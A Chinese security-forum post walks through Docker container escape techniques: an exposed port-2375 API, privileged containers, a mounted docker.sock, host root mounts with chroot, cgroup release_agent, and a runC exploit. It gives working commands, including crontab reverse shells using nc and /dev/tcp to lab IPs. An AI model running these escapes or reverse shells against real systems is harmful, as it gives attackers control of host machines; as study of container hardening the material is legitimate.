首页
社区
课程
招聘
浅析不同情况下的docker逃逸方法
发表于: 2022-4-15 11:56 1399

浅析不同情况下的docker逃逸方法

2022-4-15 11:56
1399

Docker实现原理: https://bbs.pediy.com/thread-272123.htm

漏洞原理:在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP的方式访问会返回404 利用思路:通过挂在宿主机的目录,写定时任务获取SHELL,从而逃逸

5e981e1bbb07068aec934c2ece464e75.png

159875274e01300198a8b19aea8d4f1b.png

682f06268ee7970e1c3e87a0334f0eb6.png

c3aebdef75df8c4c0660726027429596.png

访问ip:2375/version

48852cf4de76a97f252ef9ee628d2179.png

payload

1e518b5fd5dfa75b5fb86766abe744d0.png

在普通模式下可以手动自定义--cap-add参数自定义

特权模式下,容器内进程拥有使用所有的 linux capabilities 的能力,但是, 不表示进程就一定有使用某些 linux capabilities 的权限。比如,如果容器是以非 root 用户启动的, 就算它是以特权模式启动的容器,也不表示它就能够做一些无权限做的事情

Tips: Tmpfs说明:https://blog.51cto.com/u_11495268/2424414

Tips

AppArmor: https://www.cnblogs.com/zlhff/p/5464862.htmlSeccomp: https://en.wikipedia.org/wiki/Seccomp

5d7d1d1bc3b07e5b159475bf44c5f4a7.png

21bc9fbe973084b5c24471e86f2fc93e.png

可以直接挂载宿主机的磁盘

139db44e905168a2acdc0ab94faf7a8e.png

查看宿主机的/etc/passwd

ee962dc038eb47f6c2bdcd1c6a5d6477.png

查看root目录

21ff8e2822bf4889c9c612b189329243.png

47fb1ce3c163036d0490d0e22c7be803.png

Tips: chroot命令 chroot命令 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。 把根目录换成指定的目的目录

Ps: 在这遇到一个问题 https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/参考了这篇文章,但是这篇文章说,使用以下命令 cat /proc/self/status | grep CapEff如果返回的值为0000003fffffffff就是特权模式启动,但是我在我的centos中发现返回的值为0000001fffffffff,我也是特权模式启动

fdbf5d49fe56f120276fb7058f69a6c2.png

可是在Centos中的值如下图

a9df4caf2abe7a07dc7cb651d8e0641e.png

随后在ubuntu21.10的宿主机系统下载docker镜像ubuntu18.04,查看后发现结果为0000003fffffffff

a5ae92a9e15fd2aedbee9ba436d1c5ad.png

通过capsh命令可以看到,为0000001fffffffff和为0000003fffffffff就只相差一点

edebba0743e25cff396788a45dc8cf21.png

等待反弹即可

94ec2cb8b30ffa081d623549d1855a97.png

61a823d41d2d3bf0911729d22d78fc84.png

/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。

另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。

Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

401eb30118e548e2332c56fe1b3f8e1a.png

随后在docker容器中安装docker

a958e3dd569caa77f796d78fd63df88e.png

安装完成之后我们使用docker ps就可以看到宿主机上的容器了

将宿主机的根目录挂载到容器

2f36ba1121b7e877ee41e10aa4239602.png

可以看到宿主机root目录上的图片,反弹shell也是修改crontab即可

通过修改Crontab定时任务来反弹shell

068556ab6d5160c90d925bee95ab2e9e.png

4b34102dc69232f5b171d40c3c339b84.png

4b34102dc69232f5b171d40c3c339b84.png

如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限

848f083557c0d2421969154da9e70232.png

还是一样可以通过crontab反弹shell

8a3d3392e72be4b1cfe644e0e634681e.png

通过notify_on_release实现容器逃逸 条件

4a65dc58560ec7fa42148a6c4adc4ba3.png

POC

2200da80651e1aeef246f329630eac78.png

随后查看cat output

9a781a90ae59ebab6893d22a1b2cc2fc.png

cgroups 是Linux内核提供的一种可以限制单个进程或者多个进程所使用资源的机制,可以对 cpu,内存等资源实现精细化的控制,目前越来越火的轻量级容器 Docker 就使用了 cgroups 提供的资源限制能力来完成cpu,内存等部分的资源控制。

另外,开发者也可以使用 cgroups 提供的精细化控制能力,限制某一个或者某一组进程的资源使用。比如在一个既部署了前端 web 服务,也部署了后端计算模块的八核服务器上,可以使用 cgroups 限制 web server 仅可以使用其中的六个核,把剩下的两个核留给后端计算模块。

Cgroup主要限制的资源

207449668c7554e25fddb8977866f9e4.png

如果cgroup中使能notify_on_release,cgroup中的最后一个进程被移除,最后一个子cgroup也被删除时,cgroup会主动通知kernel。接收到消息的kernel会执行release_agent文件中指定的程序。notify_on_release默认是关闭的,release_agent的内容默认为空,子cgroup在创建时会继承父cgroup中notify_on_relase和release_agent的属性。所以这两个文件只存在于cgroupfs的顶层目录中。

cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用,当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。

https://www.freebuf.com/vuls/264843.html

docker version \<=18.09.2 RunC version \<=1.0-rc6

22df7852c1e301e6c9f07235f47569ee.png

d731fff7533cb68d829be620ff97a31e.png

下载Exploit

下载完之后改一下main.go

a23ea4215b4a029edbcf53faca27d02c.png

这里改成在宿主机的/tmp写一个UzJu

0e9c7177c935b2c9275bfd7a9a20a953.png

随后传入容器中

94aff9228024f9fa83f38aa2bd3d046e.png

然后我们在宿主机的/tmp目录中写一个UzJu

8be25414ab5f9d86ea67260ee0688943.png

运行exp

26d3c69b6f6aecb6d35f53dad6cc68fd.png

然后我们在宿主机尝试去exec进入该容器

8bc89067cfa6f60dac677c2c3db0a724.png

可以看到执行成功了

304aa990aa0085cc9438ce9962e15a50.png

a426fb822c9fd6557830dba9f14cd894.png

a145f14986e2cf918d14e468b394ec34.png

git clone https://github.com/vulhub/vulhub.git
git clone https://github.com/vulhub/vulhub.git
docker-compose build docker-compose up -d
docker-compose build docker-compose up -d
 
docker ps -a | grep rce
docker ps -a | grep rce
 
 
 
import docker 
client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data)
import docker 
client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data)
 
docker run -it --privileged ubuntu:18.04
docker run -it --privileged ubuntu:18.04
fdisk -l
fdisk -l
 
mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/
mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/
 
 
 
 
 
 
 
 
 
 
 
 
 
 
crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1
crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1
 
 
 
 
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
 
# ubuntu 18.04安装docker
sudo apt-get update
# 安装依赖包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
$ sudo apt-get update
# 安装最新的Docker-ce
sudo apt-get install docker-ce
# 启动
sudo systemctl enable docker
sudo systemctl start docker
# ubuntu 18.04安装docker
sudo apt-get update
# 安装依赖包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
$ sudo apt-get update
# 安装最新的Docker-ce
sudo apt-get install docker-ce
# 启动
sudo systemctl enable docker
sudo systemctl start docker
 
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (4)
雪    币: 2194
活跃值: (1038)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
2022-4-15 16:38
0
雪    币: 929
活跃值: (384)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
UzJu,yyds
2022-4-15 17:21
0
雪    币: 70
活跃值: (2031)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
2022-4-15 19:30
0
雪    币: 436
活跃值: (2668)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
yyds
2022-4-18 08:28
0
游客
登录 | 注册 方可回帖
返回
//